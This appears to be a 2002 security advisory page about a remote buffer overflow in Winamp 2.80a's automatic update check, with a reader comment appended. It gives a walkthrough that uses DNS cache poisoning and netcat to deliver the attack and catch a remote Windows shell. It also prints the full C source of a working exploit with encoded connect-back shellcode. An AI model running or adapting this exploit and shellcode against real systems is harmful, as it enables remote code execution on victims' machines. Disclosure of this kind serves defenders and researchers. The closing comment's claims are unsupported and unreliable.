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| Winamp includes an option, enabled by default, which checks on startup for the latest version from http://www.winamp.com and will then notify the user of a possible upgrade via a message box. Unfortunately, if it were to receive a huge response, the thread parsing the data is thrown into an infinite loop and eventually the exception dispatcher is called. Then like most of the time, an overflow will occur. |
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Credit:
The information has been provided by Anonymous.
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Example:
Nameserver - 192.168.0.1
Attacker - 192.168.1.2
Victim (windows machine) - 192.168.0.2
1) Attacker poisons nameserver cache.
192.168.1.2:
x@x:~$ ./p0ison 192.168.0.1 www.winamp.com 192.168.1.2
2) Victim is now resolving www.winamp.com to attacker machine.
192.168.0.2:
C:>nslookup www.winamp.com
Server: z3.names.int
Address: 192.168.0.1
Name: www.winamp.com
Address: 192.168.1.2
3) Attacker fires up exploit as web daemon.
192.168.1.2:
x@x:~$ (./wampexp 192.168.1.2 5555)|nc -l -p 80
4) Attacker waits for connect-back by exploit.
192.168.1.2:
x@x:~$ nc -l -p 5555
5) Winamp is open on the client's side.
6) Client tries to update, causing a crash and the execution of code.
192.168.1.2:
x@x:~$ nc -l -p 5555
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:>
Exploit:
/*
wampexp.c
July 3rd, 2002
Winamp 2.80a and all previous remote exploit (connect-back styles)
winamp has an option, enabled by default, which checks for the latest
version from www.winamp.com and will then notify the user of a possible
upgrade via a messagebox..
unfortunately, if it were to receive a huge response via some nameserver
corruption the thread parsing the response is thrown into an infinite
loop and eventually the exception dispatcher is called.. and THEN like
most of the time under windows a big, bad, overflow occurs..
ex: # (./wampexp 192.168.0.1 5555)|nc -l -p 80
# nc -l -p 5555
*poisoned user opens winamp*
# nc -l -p 5555
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\>
sincerely, 2c79cbe14ac7d0b8472d3f129fa1df55
(c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)
yes, yahoo took away my 2! ;~~~
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/errno.h>
#include <unistd.h>
// a minimal HTTP header and fake version
unsigned char payload[35904] =
"\x4f\x4b\x0d\x0a\x0d\x0a\x39\x2e\x39\x39\x0d\x0a\x0d\x0a";
// a gruesome hack of dark spyrits jill.c shell that further alters the
// startupinfo structure (as this isn't a service) and calls ExitThread
// to keep things invisible..
unsigned char shell[] =
"\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90"
"\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95"
"\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95"
"\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3"
"\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa"
"\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91"
"\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6"
"\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56"
"\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55"
"\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95"
"\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95"
"\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x85\xc5"
"\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18"
"\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a"
"\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2\xcd\x14"
"\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95\x18\xd2\xe5\x16\x53\x84"
"\x6a\x73\xa6\x55\xc5\xc5\xc5\xff\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14"
"\x78\xd5\x6b\x6a\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2"
"\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45\x1e\x7d\xc5\xfd"
"\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a\x10\x3f\x95\x95\x95\xa6\x55\xc5"
"\xd5\xc5\xd5\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d"
"\xf3\x52\x92\x97\x95\xf3\x52\xd2\x97\x80\x26\x52\xd2\x91\x55\x3d\x95\x94"
"\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a\xc2\x49\xa6\x5c\xc4\xc3"
"\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15"
"\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a"
"\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff\x95\x6a\xa3\xc0"
"\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05\x05\x05\x05\x7e\x27\xff\x95\xfd"
"\x95\x91\x95\x95\xc0\xc6\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1"
"\x09\xff\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2\x49\x7e"
"\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc3\x98\xa6\x55\x39\x10\x55\xe0\x6c\xc4"
"\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6"
"\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7"
"\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6"
"\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0"
"\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1"
"\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2"
"\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95"
"\xc6\xf9\xf0\xf0\xe5\x95\xed\xed\xed\xed\xed\xed\xed\xed\xed\xed\xed\x95"
"\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6"
"\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0"
"\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb"
"\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb"
"\xf0\xed\xf0\x95\xc4\x2b\x02\x75\x66\xc7\x47\x4c\x01\x81\x50\x8d\x47\x20"
"\x50\x83\xee\x11\x05\x11\x11\x11\x01\x2d\x7a\x12\x11\x01\xff\xe0";
main(char argc, char **argv){
int i;
unsigned short int a_port;
unsigned long a_host;
struct hostent *ht;
struct sockaddr_in sin;
if (argc < 3){
printf("Winamp 2.80a remote exploit (7/3/2002)\n");
printf("c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com\n\n");
printf("usage: %s <localhost> <localport>\n\n", argv[0]);
printf("NOTE: target os is 2000.. probably works on all\n");
printf("winamp versions prior to 2.80a as there are no \n");
printf("dependancies on winamp, only the static ws2help\n\n");
exit(-1);
}
// blatantly ripped! *TEEHEEEHHEH*
a_port = htons(atoi(argv[2]));
a_port ^= 0x9595;
if ((ht = gethostbyname(argv[1])) == 0){herror(argv[1]);exit(-1);}
a_host = *((unsigned long *)ht->h_addr);
a_host ^= 0x95959595;
shell[385] = ((a_port) & 0xff);
shell[386] = ((a_port >> 8) & 0xff);
shell[390] = ((a_host) & 0xff);
shell[391] = ((a_host >> 8) & 0xff);
shell[392] = ((a_host >> 16) & 0xff);
shell[393] = ((a_host >> 24) & 0xff);
strcat(payload, shell);
// lots of NOPs
for(i=792;i<9704;i++)
strcat(payload, "\x90");
// we land here when we jmp ebx the second time
// this sets ebx to the start of our shell, and jmps back
strcat(payload, "\x81\xc3\x11\x11\x11\x01\x81\xeb\x07\x37");
strcat(payload, "\x11\x01\xff\xe3");
// lots more NOPs for lots more fun
for(i=9718;i<35809;i++)
strcat(payload, "\x90");
// and bh, dl; jmp ebx.. this allows us to jmp back into an area
// where we can put some real code
strcat(payload, "\x22\xfa\xff\xe3");
// our "eip" (call ecx; ntdll.dll@0x11936)
// jmp ebx; ws2help.dll@0xdd6 (v5.0.2134.1, static on all service packs)
strcat(payload, "\xd6\x19\x02\x75");
// if ws2help doesn't match for some reason, use this call ebx..
// dependant on the winamp in_wm.dll plugin
//strcat(payload, "\x57\x22\x12\x01");
strcat(payload, "\x0d\x0a");
printf("%s", payload);
}
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| Subject:
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this is shit. |
Date: |
10 May 2006 |
| From: |
NULL-MAN |
| this code has NEVER been seen by NuLLsofT. p0is0n was apprehended long ago and has been WORKING FOR NULLSOFT. plus, you would have to use an ancient version of Winamp, AND be (un)lucky enough to get a bad patch error on the WINAMP.COM side. if you really think that you have the ability to stop these people, you are wrong, because they DONT TOUCH WINAMP. WINAMP IS A NEUTRAL APP. |
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